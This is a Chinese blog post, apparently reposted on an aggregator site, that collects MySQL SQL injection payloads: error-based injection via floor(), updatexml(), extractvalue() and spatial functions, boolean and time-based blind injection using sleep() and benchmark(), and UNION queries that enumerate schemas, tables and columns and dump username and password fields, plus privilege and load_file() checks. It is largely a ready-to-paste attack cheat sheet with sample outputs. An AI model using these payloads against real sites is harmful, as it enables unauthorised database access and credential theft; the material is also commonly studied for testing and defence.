Msql注入方式收集 发布时间:2016年6月9日 / 分类:抛砖引玉 / 1,081 次围观 / 2 次吐槽
来源:互联网 发布:网络招聘哪个好 编辑:程序博客网 时间:2024/06/06 17:08
Msql注入方式收集
发布时间:2016年6月9日 / 分类:抛砖引玉 / 1,081 次围观 / 2 次吐槽
Msql注入方式
发现网上都很多就收集了一下.
代码审计学习记录
- 0x00-报错注入
mysql报错注入,我们有时候会遇到没有正常数据回显的注入.这时候就需要报错注入来获得我们需要的数据.
我们经常用到的有floor(),updatexml(),extractvalue()通过查找资料发现还有一些函数.
由于这三个比较通用,也就是在大部分mysql版本中都有,其他的有些可能在低版本里没有.
- floor()
语句:and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
mysql> select 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);ERROR 1062 (23000): Duplicate entry '5.5.401' for key 'group_key'
- updatexml()
语句:and (updatexml(1,concat(0x3a,(select user())),1));
mysql> select 1 and (updatexml(1,concat(0x3a,(select user())),1));ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
- ExtractValue()
和upadtexml()用法差不多
语句:and extractvalue(1, concat(0x5c, (select user())));
mysql> select 1 and extractvalue(1, concat(0x5c, (select user())));ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'
- GeometryCollection() version > MySQL4.1
- MultiPoint()
- Polygon()
- LineString()
- MultiPolygon()
- MultiPoint()
- MultiLineString()
这几个是mysql在4.1版本之后引入的一系列空间扩展,使其具备了一定的空间处理能力.
语句都一样就列举了一个例子.
语句:AND GeometryCollection((select * from(select * from(select user())a)b));
mysql> select 1 AND GeometryCollection((select * from(select * from(select user())a)b));ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
- 0x01-盲注
盲注分为两种
一种是普通盲注,一种是基于时间又叫延时注入.
通过一些处理函数将我们需要获取的数据通过猜解的方式得到的方式.
查询数据库AND ascii(substring((select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),1,1))=ascii码
查询用户长度And (select length(user()))=12;
查询数据库and ascii(substr(database(),位数,1))=ascii;
查询用户and 1=(if(ascii(mid(user()from(位数)for(1)))=查询位数字符的ascii编码,1,0));
时间盲注
其实就是普通盲注加上了if判断and if(ascii(mid(user()from(位数)for(1)))=ascii码,sleep(3),0)
and 1=if(ascii(mid((select user())from(1)for(1)))=114,sleep(3),0);
and 1=(select case when (ascii(mid(user()from(位数)for(1)))=ascii码) then benchmark(5*4000000,md5(1111)) else 0 end)=1
and 1=if(length(user())=长度,sleep(3),0);
sleep(1-abs(sign(ascii(mid(lower(user())from(位数)for(1)))-ascii码)))
没有等于符号
每次取一个字符的ascii码,与列表中的ascii码逐一对比,取符号的绝对值。
如果相等,则符号是0,绝对值是0,会延迟。
若不等,则符号是1或-1,绝对值为1,不延迟。
然后我们可以通过py脚本来快速得到数据.
- 0x02-常用mysql注入语句
查询数据库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)
猜字段and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
system_user()
系统用户名user()
用户名current_user
当前用户名session_user()
连接数据库的用户名database()
数据库名version()
MYSQL数据库版本load_file()
MYSQL读取本地文件的函数@@datadir
读取数据库路径@@basedir
MYSQL 安装路径@@version_compile_os
操作系统 Windows Server 2003
判断是否具有读写权限and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*
标签:none
- Msql注入方式收集 发布时间:2016年6月9日 / 分类:抛砖引玉 / 1,081 次围观 / 2 次吐槽
- ros中kobuki(turtlebot)+rplidar 跑gmapping 发布时间:2016年11月23日 13:32:20 浏览数:828次 来自:kint_zhao 由于手头目
- Android 4.3发布时间曝光:6月26日
- Android 4.3发布时间曝光:6月26日
- Android 4.3发布时间曝光:6月26日
- Android 4.3发布时间曝光:6月26日
- Android 4.3发布时间曝光:6月26日
- Android 4.3发布时间曝光:6月26日
- Android 4.3发布时间曝光:6月26日
- Android 4.3发布时间曝光:6月26日
- Android 4.3发布时间曝光:6月26日
- Android 4.3发布时间曝光:6月26日
- Android 4.3发布时间曝光:6月26日
- Android 4.3发布时间曝光:6月26日
- 小米6发布时间宣布:4月19日
- DEDECMS发布时间为1970年1月1日的解决方法
- 苹果开发者计划许可协议2017年5月2日(发布时间)
- 了解ASP.NET Core 依赖注入,看这篇就够了 于2017年11月6日由jesseliu发布
- 重新温习1--数学归纳法
- IOS NSPredicate 查询、搜索
- Leetcode-set-matrix-zeroes
- Android录音功能Android Studio实现
- Linux下如何搭建stm32开发环境
- Msql注入方式收集 发布时间:2016年6月9日 / 分类:抛砖引玉 / 1,081 次围观 / 2 次吐槽
- cookie乱码
- atom markdown转换PDF 解决AssertionError: html-pdf: Failed to load PhantomJS module
- 文件(字符)读写
- ClassNotFoundException: org.apache.axis2.transport.http.AxisAdminServlet(亲测,管用!已经在这个网站解决好多问题了)
- hdu 2962 Trucking【二分+SPFA】
- 一念永恒 > 第139章 不是我干的呀
- BZOJ4631 踩气球
- Google Chrome 所有版本下载